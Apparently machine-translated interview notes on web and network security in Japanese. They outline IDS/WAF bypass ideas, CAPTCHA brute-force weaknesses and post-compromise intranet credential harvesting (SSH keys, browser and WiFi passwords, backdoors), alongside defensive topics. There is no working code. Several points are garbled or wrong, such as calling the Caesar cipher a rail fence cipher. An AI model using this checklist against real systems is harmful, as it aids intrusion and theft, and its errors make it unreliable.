GIL グローバルインタプリタロック スレッドセーフなリソースロックを保証するためのもの
- IDS/IPS保護原理とバイパスの考え方
IDSはネットワーク層で動作し、旁路配置、ネットワークトラフィックのキャプチャと分析を通じて攻撃を検出します;
IPSも通常ネットワーク層で旁路配置され、ブロック能力を持つIDSと見なすことができ、IDSのアップグレード版です(IDSが攻撃を検出しブロックデバイスにブロックアクションの実行を通知するデバイス連携モードもあります)、ネットワーク層とアプリケーション層をカバーできます;
WAFはWeb攻撃を防御するアプリケーション層の保護プログラムであり、通常Web接入層と接続され、旁路または直列に配置でき、アプリケーション層のみをカバーします
バイパス:
-
TCPフラグメント再構成
-
IPフラグメントPythonのScapyコンポーネント
-
偽のTCP状態
-
IPv6 現在運用中のIDS/IPS/WAFはIPv6をサポートしない場合があります
-
オペレータ(その他)ネットワークハイジャック
ローカルハイジャック:ブラウザを改造する(hao123)
ネットワークハイジャック:オペレータハイジャック(データパケットに広告コードを注入)、CDNキャッシュ汚染(CDNサーバー内の重要なJSファイルが汚染され注入)、DNSハイジャック(ルーターの脆弱性)
- レッドブル対抗でブルーチームがレッドチームを逆転するシナリオと方法?
蚁剑によるRCE逆転、ハニーポット、マクロウイルスおとり
- 認証コード関連の利用点
-
認証コードの再利用 (特定アカウントのブルートフォース、CSRF)
-
認証コードの識別 (特定アカウントのブルートフォース)
-
認証コードがクライアント側で生成、表示、検証される (特定アカウントのブルートフォース、CSRF)4. 空認証コードによるバイパス (特定アカウントのブルートフォース、CSRF)
-
認証コードの数が限られている (特定アカウントのブルートフォース)
-
クライアント制御が検証されるか (特定アカウントのブルートフォース、CSRF)
-
認証コードが予測可能 (特定アカウントのブルートフォース)
-
エラーが一定回数を超えた場合のみ認証コードが有効になる (クラッキング)
-
なぜaspxトロイの木馬の権限がaspより大きいのですか?
aspxは.net技術を使用しています。IISではデフォルトでサポートされておらず、ASPは単なるスクリプト言語です。侵入時、aspのトロイの木馬は通常guest権限ですが、APSXのトロイの木馬は通常users権限です。
- 内網サーバー、どうやって情報収集しますか?
(1)手動、小道具を使用(一括で生存確認)
new user /domainでドメインを確認、net viewで共有を確認、hostsファイル内网ipドメインマッピング、wifi記録とパスワード、ブラウザ内のパスワード、重要なファイル、各種サービスの設定ファイル内の情報、履歴コマンド、ssh秘密鍵、FTPの接続情報、xshellなどのssh接続ツールのセッションファイル、3389接続履歴と被接続履歴情報、いくつかの内网apiインターフェース未認証アクセス
(2)スキャナー
ホスティングスキャン、ポートスキャン、脆弱性スキャン、内网環境の識別、パスワードクラッキング、パスワード取得(3)バックドアを残し、情報を取得
- ログインページしかない場合の考え方
インジェクション、万能パスワード、ブルートフォース、JS内の重要な情報(インターフェース未認証アクセス)、パスワード回復、重要なディレクトリ、登録後に権限昇格を試みる(またはシステムに入ってから見てみる)
- tokenとrefererを横断比較、セキュリティレベルはどちらが高いですか?
tokenのセキュリティレベルはより高く、なぜならrefererはどのサーバーでも取得できるわけではなく、HTTPSからHTTPに移行してもrefererは送信されません。また、FLASHの一部のバージョンではrefererをカスタマイズできます。しかし、tokenの場合、十分にランダムで漏洩しないようにする必要があります。(予測不可能性の原則)
refererの検証、どの角度から行うか?行うなら、どうして問題を排除するか
空referer、referer正規フィルタリングが不完全。
tokenの場合、tokenのどの方面をテストするか、tokenのどの方面をテストしますか?
リプレイ、暗号化ルールの分析、情報漏洩キャッシュログの置換による権限昇格
- 柵栏暗号
暗号化する平文をN個のグループに分け、各グループの1番目の文字を連結して、無意味な文を作成します。しかし、柵栏暗号自体には潜在的なルールがあり、柵栏を構成する文字は通常多くありません。
カイザーシフターは柵栏暗号の一種です
- インターネットWebサイトのポートをどう防御し、侵入が発見された場合どう解決しますか?
ファイアウォール、waf、ips、ids、端末アクセス制御、ページ改ざん防止、開発コードの規範化、危険なサービス(SMB、RDP、データベースポート)を閉じ、インターネットにアクセスしないなど、侵入が発見された場合はファイアウォールでIPをブロックまたはログを確認します。
- cookieレスポンスメッセージヘッダーのsecureとHttpOnlyのそれぞれの役割は何ですか?
secure: Cookieでこの変数をマークし、ブラウザとwebサーバー間の通信プロトコルが暗号化認証プロトコルである場合にのみ、ブラウザが対応するCookieをサーバーに送信することを示します。
Httponly:Javascriptによる読み取りを禁止(XSS防止)
- 安全な乱数をどう生成しますか?
電圧の変動、ディスクヘッドの読み書き時のシーク時間、空中電波のノイズなどの物理システムを使用して乱数を生成します。